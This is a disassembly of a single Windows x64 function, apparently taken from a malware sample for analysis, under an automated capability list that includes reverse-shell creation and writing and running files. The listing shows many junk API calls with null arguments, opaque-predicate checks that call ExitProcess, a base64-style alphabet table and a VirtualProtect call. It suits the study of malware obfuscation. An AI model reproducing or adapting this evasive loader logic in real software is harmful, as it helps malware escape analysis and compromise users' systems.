Function at 0x180007b70
Capabilities:
Connect pipe
Create process on windows
Create reverse shell
Enumerate gui resources
Get common file path
Get disk information
Get disk size
Get file size
Get geographical location
Identify system language via api
Manipulate console buffer
Move file
Read .ini file
Read file on windows
Read pipe
Set file attributes
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x2f]
sub rsp, 0x98
mov rdi, rcx
xor r14d, r14d
mov dword [rbp - 0x15], r14d
mov dword [rcx], r14d
mov qword [rcx + 8], r14
mov qword [rcx + 0x10], r14
lea ecx, [r14 + 0x18]
call fcn.18003f898
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rdi + 8], rax
lea rcx, [rdi + 0x18]
mov qword [rcx], r14
mov qword [rcx + 8], r14
mov qword [rcx + 0x10], r14
mov qword [rdi + 0x30], 7
mov qword [rdi + 0x38], 8
mov dword [rdi], 0x3f800000
mov r8, qword [rdi + 8]
lea edx, [r14 + 0x10]
call fcn.18000bbb0
nop
mov dword [rbp - 0x15], 1
mov ebx, r14d
call fcn.180007480
mov byte [rbp + 0x6f], 0x41
nop dword [rax + rax]
lea r8, [rbp + 0x6f]
lea rdx, [rbp - 0x11]
mov rcx, rdi
call fcn.18000d4f0
mov rcx, qword [rax]
mov byte [rcx + 0x11], bl
inc ebx
movzx eax, byte [rbp + 0x6f]
inc al
mov byte [rbp + 0x6f], al
cmp al, 0x5a
jle 0x180007c00
mov byte [rbp + 0x77], 0x61
nop dword [rax]
cmp dword [0x1800abe90], 0x83e25467
jne 0x180007dbf
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProcessorNodeEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_DrawCaption]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetPropW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetIconInfoExW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_DeleteMenu]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InterlockedPushListSListEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalHandle]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenFileById]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CharLowerW]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReadFile]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_RedrawWindow]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetClientRect]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsBadWritePtr]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_DdeKeepStringHandle]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadKeyboardLayoutW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenEventW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [0x1800c0a88]
lea rdx, [0x1800c0ab8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_NotifyUILanguageChange]
xor ecx, ecx
call qword [sym.imp.USER32.dll_DestroyIcon]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsCharAlphaNumericW]
xor edx, edx
xor ecx, ecx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_DosDateTimeToFileTime]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PurgeComm]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
call qword [sym.imp.USER32.dll_GetCursor]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UnregisterWaitEx]
lea r8, [rbp + 0x77]
lea rdx, [rbp - 1]
mov rcx, rdi
call fcn.18000d4f0
mov rcx, qword [rax]
mov byte [rcx + 0x11], bl
inc ebx
movzx eax, byte [rbp + 0x77]
inc al
mov byte [rbp + 0x77], al
cmp al, 0x7a
jle 0x180007c30
mov rax, qword [0x1800abe98]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx]
mov rdx, qword [rax + 0xe20]
mov rax, qword [0x1800abeb8]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx]
mov ecx, dword [rax + 0x18c8]
mov dword [rdx + 8], ecx
mov byte [rbp + 0x7f], 0x30
mov esi, 0x50
mov r15d, 0x7bf
nop dword [rax]
nop word [rax + rax]
mov r9d, 0xffff9959
nop word [rax + rax]
inc r9d
mov eax, 0x55555556
imul r9d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r9d, ecx
jne 0x180007e40
add r9d, 0x8a47
mov eax, 0x55555556
imul r9d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r9d, ecx
je 0x180007e9a
nop dword [rax + rax]
inc r9d
mov eax, 0x55555556
imul r9d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r9d, ecx
jne 0x180007e80
lea ecx, [r9 + 0x26d69]
add r9d, 0x10f1
add ecx, r9d
lea edx, [r9 + 0x3300]
add edx, ecx
add edx, esi
add r9d, 0xffff95b0
sub ecx, r9d
lea r8d, [rcx - 0xe75]
add r8d, edx
mov eax, 0xfffff6e2
sub eax, r8d
add r9d, eax
lea r10d, [rdx + 0x1dee]
sub r10d, r9d
sub r9d, 0x1a0c
lea eax, [r8 + r9]
add r10d, 0xdff
add r10d, r9d
mov ecx, 0xffffc889
sub ecx, r9d
sub r9d, 0x80d
sub ecx, r9d
sub r10d, ecx
lea eax, [rax*2 + 0x29cd]
lea edx, [rcx + r15]
sub r9d, eax
cmp r9d, 0xfffa0ca1
jne 0x1800084cd
cmp eax, 0xffff7801
jne 0x1800084cd
cmp edx, 0xcbef7
jne 0x1800084cd
cmp r10d, 0xfff6882d
jne 0x1800084cd
lea r8, [rbp + 0x7f]
lea rdx, [rbp + 0xf]
mov rcx, rdi
call fcn.18000d4f0
mov rcx, qword [rax]
mov byte [rcx + 0x11], bl
inc ebx
movzx eax, byte [rbp + 0x7f]
inc al
mov byte [rbp + 0x7f], al
cmp al, 0x39
jle 0x180007e30
mov rax, qword [0x1800abea0]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx]
mov rsi, qword [rax + 0x1898]
mov edx, dword [0x1800abe90]
cmp edx, 0x899d97ac
jne 0x18000816c
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateConsoleScreenBuffer]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_StartThreadpoolIo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateSymbolicLinkTransactedW]
mov qword [rsp + 0x20], r14
mov r9d, dword [rbp + 0x67]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapePosition]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteFileEx]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadId]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumResourceLanguagesW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIdealProcessorEx]
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadpoolTimer]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlPcToFileHeader]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lock dec dword [r14]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileNameW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatusEx]
mov edx, dword [0x1800abe90]
mov r8, qword [0x1800abea8]
mov rax, qword [r8 + 0x10]
mov rcx, qword [rax]
mov r10d, dword [rcx + 0x1230]
mov dword [rbp - 0x19], r10d
cmp edx, 0xfd36655b
jne 0x18000834c
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetTapePosition]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitOnceBeginInitialize]
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CallNamedPipeW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesTransactedW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueryProtectedPolicy]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIdealProcessorEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWork]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualLock]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumberFormatW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClosePrivateNamespace]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DebugActiveProcess]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteTimerQueueEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov r8, qword [0x1800abea8]
mov r10d, dword [rbp - 0x19]
mov rax, qword [r8 + 0x10]
mov rdx, qword [rax]
lea r9, [rbp - 0x19]
mov r8d, r10d
mov rdx, qword [rdx + 0x1368]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov byte [rbp + 0x6f], 0x2b
lea r8, [rbp + 0x6f]
lea rdx, [rbp + 0xf]
mov rcx, rdi
call fcn.18000d4f0
mov rax, qword [rax]
mov byte [rax + 0x11], bl
mov byte [rbp + 0x6f], 0x2f
lea r8, [rbp + 0x6f]
lea rdx, [rbp - 1]
mov rcx, rdi
call fcn.18000d4f0
inc bl
mov rax, qword [rax]
mov byte [rax + 0x11], bl
mov r9d, 0xffffceb1
nop word [rax + rax]
inc r9d
mov eax, 0x55555556
imul r9d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r9d, ecx
jne 0x1800083b0
lea ebx, [r9 + 0xc597]
lea r8d, [r9 + 0x6909]
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r8d, ecx
je 0x18000840a
nop
inc r8d
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r8d, ecx
jne 0x1800083f0
lea eax, [r9 + 0x1e7d]
mov r11d, ebx
sub r11d, eax
add r11d, 0xa06f
mov r10d, 0x75bd
sub r10d, r8d
sub r10d, r9d
add r8d, 0x114
add ebx, eax
sub r8d, r10d
sub r11d, ebx
lea esi, [rax + r10*2]
add esi, r10d
mov r9d, 0x5208
sub r9d, esi
mov eax, 0x55555556
imul r9d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r9d, ecx
je 0x18000847a
inc r9d
mov eax, 0x55555556
imul r9d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r9d, ecx
jne 0x180008460
cmp esi, 0x13b1a
jne 0x1800084c1
cmp r9d, 0xffff16f0
jne 0x1800084c1
cmp r10d, 0x6f4e
jne 0x1800084c1
cmp ebx, 0x817a
jne 0x1800084c1
cmp r8d, 0xffffc982
jne 0x1800084c1
cmp r11d, 0xc60f
jne 0x1800084c1
mov rax, rdi
add rsp, 0x98
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]